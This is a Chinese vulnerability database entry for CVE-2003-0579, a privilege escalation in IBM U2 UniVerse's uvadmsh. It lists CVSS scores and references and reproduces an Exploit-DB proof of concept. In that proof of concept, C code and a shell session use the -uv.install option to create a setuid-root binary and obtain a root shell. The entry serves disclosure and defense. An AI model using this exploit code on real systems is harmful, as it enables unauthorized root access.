CVE-2003-0579
CVSS4.6
发布时间 :2003-08-18 00:00:00
修订时间 :2016-10-17 22:35:30
NMCOE    

[原文]uvadmsh in IBM U2 UniVerse 10.0.0.9 and earlier trusts the user-supplied -uv.install command line option to find and execute the uv.install program, which allows local users to gain privileges by providing a pathname that is under control of the user.


[CNNVD]IBM U2 UniVerse获取特权漏洞(CNNVD-200308-051)

        IBM U2 UniVerse 10.0.0.9及其早期版本的uvadmsh信任user-supplied -uv.install命令行选项从而查找且执行uv.install程序,本地用户通过提供用户控制下的路径名获取特权。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0579
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0579
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200308-051
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/vulnwatch/2003-q3/0026.html
(VENDOR_ADVISORY)  VULNWATCH  20030716 SRT2003-07-07-0833 - IBM U2 UniVerse users with uvadm rights can take root via uvadmsh
http://marc.info/?l=bugtraq&m=105838948002337&w=2
(UNKNOWN)  BUGTRAQ  20030716 SRT2003-07-07-0833 - IBM U2 UniVerse users with uvadm rights can take root via uvadmsh

- 漏洞信息

IBM U2 UniVerse获取特权漏洞
中危 未知
2003-08-18 00:00:00 2005-10-20 00:00:00
本地  
        IBM U2 UniVerse 10.0.0.9及其早期版本的uvadmsh信任user-supplied -uv.install命令行选项从而查找且执行uv.install程序,本地用户通过提供用户控制下的路径名获取特权。

- 公告与补丁

        

- 漏洞信息 (22912)

IBM UniVerse 10.0 .0.9 uvadmsh Privilege Escalation Vulnerability (EDBID:22912)
unix local
2003-07-16 Verified
0 kf
N/A [点击下载]
source: http://www.securityfocus.com/bid/8203/info

A vulnerability has been reported in the IBM U2 UniVerse uvadmsh program that could permit the uvadm user to execute arbitrary code with elevated privileges. The -uv.install option of the vulnerable program allows a user to specify an arbitrary path to a file. In cases where uvadmsh is installed setuid root, this could be abused to run an executable file of the attacker's choosing.

While this vulnerability was reported in UniVerse version 10.0.0.9, previous versions are likely vulnerable as well. 

[uvadm@vegeta uvadm]$ cat > /tmp/uv.install.c
main()
{
setuid(0);
system("cc -o /tmp/owned /tmp/owned.c");
system("chmod 4755 /tmp/owned");
}

[uvadm@vegeta uvadm]$ cc -o /tmp/uv.install /tmp/uv.install.c
[uvadm@vegeta uvadm]$ cat > /tmp/owned.c
main()
{
setuid(0);
system("/bin/bash");
}

[uvadm@vegeta uvadm]$ ls -al /tmp/owned
ls: /tmp/owned: No such file or directory

[uvadm@vegeta uvadm]$ /usr/ibm/uv/bin/uvadmsh -uv.install /tmp
[uvadm@vegeta uvadm]$ ls -al /tmp/owned
-rwsr-xr-x 1 root uvadm 11640 Jul 2 20:15 /tmp/owned

[uvadm@vegeta uvadm]$ /tmp/owned
[root@vegeta uvadm]# id
uid=0(root) gid=503(uvadm) groups=503(uvadm) 		

- 漏洞信息

9673
IBM U2 UniVerse uvadmsh uv.install PATH Subversion Privilege Escalation

- 漏洞描述

Unknown or Incomplete

- 时间线

2003-07-15 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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